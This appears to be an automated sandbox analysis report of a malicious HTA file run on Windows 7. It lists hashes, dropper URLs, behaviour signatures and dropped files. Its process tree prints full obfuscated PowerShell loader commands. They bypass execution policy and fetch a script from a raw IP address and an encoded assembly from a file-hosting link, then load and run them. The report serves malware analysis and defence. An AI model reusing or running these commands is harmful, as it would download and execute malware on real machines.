Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    25-10-2024 08:32

General

  • Target

    greatthingswithgoodnewsgivenbygodthingsgreat.hta

  • Size

    204KB

  • MD5

    9dbf5ee2610284f5668fb229ba474b95

  • SHA1

    12b3f4c93e36b9bca1bfecf8fa522748d3631c74

  • SHA256

    fcc1b8c11b5cae212cbdb9b7aaa083da59ccab319816d7ef8e37c2856347b0f0

  • SHA512

    06fe1b0e3ca4e04108fa8a50f60867e42f38e60768aebbc8935a7c24b973cf3546f6f7f4548e9fac67cebe552319d7323fee5eeaa87dc5f958aa23377cb3ccb2

  • SSDEEP

    96:Eac75KAtf7aRNeKmo4T5vc1IPqCwFifcu7T:EaA52RNevpJVfZT

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\greatthingswithgoodnewsgivenbygodthingsgreat.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2056
    • C:\Windows\SysWOW64\winDOWspOWERSheLL\v1.0\pOweRSheLl.ExE
      "C:\Windows\SysTEM32\winDOWspOWERSheLL\v1.0\pOweRSheLl.ExE" "poWERShELl -Ex bYPAss -NOP -w 1 -C DEVICECrEDENtiaLDEPloymenT.EXe ; IeX($(iEx('[syStem.TeXt.enCOdIng]'+[ChAr]58+[ChAr]0x3A+'utF8.geTStRiNg([SySTeM.cOnveRt]'+[CHar]0x3a+[ChAR]58+'FROMBASE64sTRINg('+[cHaR]34+'JExBTmYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtYmVyZEVmaU5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBidEdsVWpzLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjRFNGWUcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVEYWNZeVRZWUNRLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQmtab0UsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFqUXRiYXVIcWJUKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJVYlRicGlLZSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEWlZyQVJNZFdhaCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRMQU5mOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTc2LjE0MS80MS9zaW1wbGV0aGluZ3N3aXRoZ3JlYXR0aGlnbnNnaXZlbm1lYmVzdHRoaW5ncy50SUYiLCIkRU52OkFQUERBVEFcc2ltcGxldGhpbmdzd2l0aGdyZWF0dGhpZ25zZ2l2ZW5tZWJlc3QudmJTIiwwLDApO1N0YVJ0LVNMZUVQKDMpO3N0YXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcc2ltcGxldGhpbmdzd2l0aGdyZWF0dGhpZ25zZ2l2ZW5tZWJlc3QudmJTIg=='+[Char]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2388
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex bYPAss -NOP -w 1 -C DEVICECrEDENtiaLDEPloymenT.EXe
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:860
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uumkwbpb.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2736
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD569.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD568.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2616
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\simplethingswithgreatthignsgivenmebest.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2476
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTaG9tZVsyMV0rJFBzaE9tZVszMF0rJ3gnKSAoICgoJ3N3UmltYWdlVXJsID0gNWw3JysnaHR0cHM6Ly8nKydkcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgNWw3O3N3UndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c3dSaW1hZ2VCeXRlcyA9IHN3UndlYkNsaWVudC5Eb3dubG9hZERhdGEoc3dSaW1hZ2VVcmwpO3N3JysnUmltYWdlVGV4dCA9IFtTeXN0ZW0nKycuVGV4dC5FbmNvZGluZ10nKyc6OlVURjguR2V0U3RyaW5nKHN3UmltYWdlQnl0ZXMpO3N3UnN0YXJ0RmxhZyA9IDVsNzw8QkEnKydTRTY0X1NUQVJUPicrJz41bDc7c3dSZW5kRmxhZyA9IDVsNzw8QkFTRTY0X0VORD4+NWw3O3N3UnMnKyd0YXJ0SW5kZXggPSBzd1JpbWFnZVRleHQuSW5kZXhPZicrJyhzd1JzdGFydEZsYWcpO3N3UmVuZEluZGV4ID0gc3dSaW1hZ2VUJysnZXh0LkluZGV4T2Yoc3dSZW5kRmxhZyk7c3dSc3RhcnRJJysnbmRleCAtZ2UgMCAtYW5kIHMnKyd3UmVuZEluZGV4IC1ndCBzd1JzdGEnKydydEluZGV4O3N3UnN0YXJ0SW5kZXggKz0gc3dSc3RhcnRGbGFnLkxlbmd0aDtzd1JiYXNlNjRMZW5ndGggPSBzd1JlbmRJbmRleCAtIHN3UnN0YXJ0SW5kZXg7c3dSYmFzZTY0Q29tbWFuZCA9IHN3UmltYWdlVGV4dC5TdWJzJysndHJpbmcoc3dSc3RhcnRJbmRleCwgc3dSYmFzZTY0TGVuZ3RoKTtzd1JiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luIChzd1JiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCcrJykgRncxJysnICcrJ0ZvckVhY2gtT2JqZWN0IHsgc3dSXyB9KVstMS4uLShzd1JiYXNlNjRDb21tYW5kLkxlbmd0aCldO3N3UmNvbW1hbmRCeXRlcyA9JysnIFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoc3dSYmFzZTY0UmV2ZXJzZWQpO3N3UmxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChzd1Jjb21tYW5kQnl0ZXMpO3N3UnZhaU1ldGhvZCA9IFtkJysnbmxpYicrJy5JTy5Ib21lXS5HZXRNZXRob2QoNWw3VkFJNWw3KTtzd1J2YWlNZXRob2QuSW52b2tlKHN3Um51bGwsIEAoNWw3dHh0LlRUUkxQTVMvMTQvMTQxLjY3MS4zLjI5MS8vOnB0dGg1bDcsIDVsN2Rlc2F0aXZhZG81bDcsIDVsN2Rlc2F0aXZhZG81bDcsIDVsN2Rlc2F0aXZhZG8nKyc1bDcsICcrJzVsN2FzcG5ldF9yZWdicm93c2VyczVsNywgNWw3ZCcrJ2VzYXRpdmFkbzVsNywgNWw3ZGVzYXRpdmFkbzVsNyw1bDdkZXNhdGl2YWRvNWw3LDVsN2Rlc2F0aXZhZG81bDcsNWw3ZGVzYXRpdmFkbzVsNyw1bDdkZXNhdGl2YWRvNWw3LDVsN2Rlc2F0aXZhZG81bDcsNWw3MTVsNyw1bDdkZXNhdGl2YWRvNWw3KSk7JykgLXJlUExhY0UnNWw3JyxbY0hhcl0zOSAtcmVQTGFjRSAnc3dSJyxbY0hhcl0zNiAgLUNSZXBMQWNlICAnRncxJyxbY0hhcl0xMjQpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1396
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pShome[21]+$PshOme[30]+'x') ( (('swRimageUrl = 5l7'+'https://'+'drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 5l7;swRwebClient = New-Object System.Net.W'+'ebClient;swRimageBytes = swRwebClient.DownloadData(swRimageUrl);sw'+'RimageText = [System'+'.Text.Encoding]'+'::UTF8.GetString(swRimageBytes);swRstartFlag = 5l7<<BA'+'SE64_START>'+'>5l7;swRendFlag = 5l7<<BASE64_END>>5l7;swRs'+'tartIndex = swRimageText.IndexOf'+'(swRstartFlag);swRendIndex = swRimageT'+'ext.IndexOf(swRendFlag);swRstartI'+'ndex -ge 0 -and s'+'wRendIndex -gt swRsta'+'rtIndex;swRstartIndex += swRstartFlag.Length;swRbase64Length = swRendIndex - swRstartIndex;swRbase64Command = swRimageText.Subs'+'tring(swRstartIndex, swRbase64Length);swRbase64Reversed = -jo'+'in (swRbase64Command.ToCharArray('+') Fw1'+' '+'ForEach-Object { swR_ })[-1..-(swRbase64Command.Length)];swRcommandBytes ='+' [System.Convert]::FromBase64String(swRbase64Reversed);swRloadedAssembly = [System.Reflection.Assembly]::Load(swRcommandBytes);swRvaiMethod = [d'+'nlib'+'.IO.Home].GetMethod(5l7VAI5l7);swRvaiMethod.Invoke(swRnull, @(5l7txt.TTRLPMS/14/141.671.3.291//:ptth5l7, 5l7desativado5l7, 5l7desativado5l7, 5l7desativado'+'5l7, '+'5l7aspnet_regbrowsers5l7, 5l7d'+'esativado5l7, 5l7desativado5l7,5l7desativado5l7,5l7desativado5l7,5l7desativado5l7,5l7desativado5l7,5l7desativado5l7,5l715l7,5l7desativado5l7));') -rePLacE'5l7',[cHar]39 -rePLacE 'swR',[cHar]36 -CRepLAce 'Fw1',[cHar]124) )"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1884

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESD569.tmp

    Filesize

    1KB

    MD5

    99cb3b9786894e381343e01297fc530f

    SHA1

    f5bec0f52f057372a4ab8fbcdb961a2eb8366777

    SHA256

    bf1d1677582bbc62e2acf4cd892c054ffb21df8fe163ab4053f3adef2f49d3f4

    SHA512

    531c81ffcecf447f24f9e272d4ad3a597d3ad582357ef26cd20a29fef5d3552e7df4e46c31e9b9d1216c4ddfb7c7c630e43e2d2f46e8127e9ef8ba4eab14edb0

  • C:\Users\Admin\AppData\Local\Temp\uumkwbpb.dll

    Filesize

    3KB

    MD5

    f096ee9ae5a3aea6196bf652528daf23

    SHA1

    a5e9d85bb078ac1c8c9f2b36c0fc106fe89ec71b

    SHA256

    7c4fc12d8aca709cb6f8969cefcac821f20d36c229a9880fc8b6fa26c97587e8

    SHA512

    3de94b38695d56e3e43ccb14c70f354a9ed9d55948c6368963954e259ac32357801202cfd33d5287fdff7e93beeba4528a50e9f7c18ee14bfea624617ee8c365

  • C:\Users\Admin\AppData\Local\Temp\uumkwbpb.pdb

    Filesize

    7KB

    MD5

    d93bf6815620a7ea53aeadce05d38103

    SHA1

    4e3f5ffb1036e5e63cfdddd6039cb2f40a3e7304

    SHA256

    886daaa970956b08beed7513b4c6c8b939f1362370adfb45086e3acf9504bc93

    SHA512

    ba961357d004b992ebe48eca9a7edbb833571c8787ca9e5701e73a7d7620de5f756cdab6b4c81219cfbe870aecf6802999ff9311f6d2e744ee912a77b53a3e8e

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    a2cf85a24bf497c5860b35a42b15b980

    SHA1

    07cfc42ad7fb6c7e4e3ad64541c719883307e02f

    SHA256

    109f5ab3bce3377ca862fec7234d777156ee3017003bba76518783567d262b5d

    SHA512

    f5baaeb39849270f8b80971883d0bd62ed74d4d721852c2302c6c6c2cb7445d73e5007fc4e92f2629db9dc86b93482a1e281e852babd55ddd454693255b2198b

  • C:\Users\Admin\AppData\Roaming\simplethingswithgreatthignsgivenmebest.vbS

    Filesize

    136KB

    MD5

    74339d80989d10693dbc1115d1cf3eb4

    SHA1

    bd9b4dea8d68db3261e4eb23a9dfe857d0f9ee44

    SHA256

    a73c93345d81b888fe37255abc545dcdb3470b4f0bd59654e4b398c87be6b64d

    SHA512

    4befe3383549fb2048e9617430b284f8b62cce46fa4998a62122e7ed4349357ad9b11c0a0819c40467ce3b2ca7648222b1714e3745a4e74f50fae3d569caa1ba

  • \??\PIPE\srvsvc

    MD5

    d41d8cd98f00b204e9800998ecf8427e

    SHA1

    da39a3ee5e6b4b0d3255bfef95601890afd80709

    SHA256

    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

    SHA512

    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCD568.tmp

    Filesize

    652B

    MD5

    83674b21cc6e187cd4eac6e886a0e068

    SHA1

    ef44adf7de9ab3f12525de1e4cb36f72a1c9d6e3

    SHA256

    4cba233364d40484e53f9df038b4a9f754e86ab46e36dc4f38db4cf35092aa2f

    SHA512

    4807c606540afdc6fe0600afaab63beb9764329f2afdc10ed36312ca76a2bb6f9f15f11d8f55822b0cb6d745ccd3d0121d56bdba2d3640c39aa894939852ee8c

  • \??\c:\Users\Admin\AppData\Local\Temp\uumkwbpb.0.cs

    Filesize

    480B

    MD5

    ce22e90871744b25a04ac8c5691f49cc

    SHA1

    bc0a93c1fe61e00daa34774994b638d19f735228

    SHA256

    3b955e3c74519870aacef3876b7cdc4420f0b77d2d09937b7385e8b578f26546

    SHA512

    5f13af44f2219d050d04658808b287bcb9c948765a1aca148ab148e0981087ab22d6b5af9fa74360b41a7322b9009858cf25e480a579b16fc8bd62c9b72d0f88

  • \??\c:\Users\Admin\AppData\Local\Temp\uumkwbpb.cmdline

    Filesize

    309B

    MD5

    4cd1ddbb618a07e492b4271396c18a72

    SHA1

    5875d9d9d39cac880a36f6b6e3a2444bf7a31865

    SHA256

    870f161fefcad7b784187c32e65cc33786a888fdc8b1d962f9aec4f29a4ebeae

    SHA512

    dde486530074a9fb6e6bc5929da2091db61567aee8ea3a8939bf619b88e3d978eb92b20303d6042400787f3e944b6ae1b0feadadae0770ccda82dbb5cae15325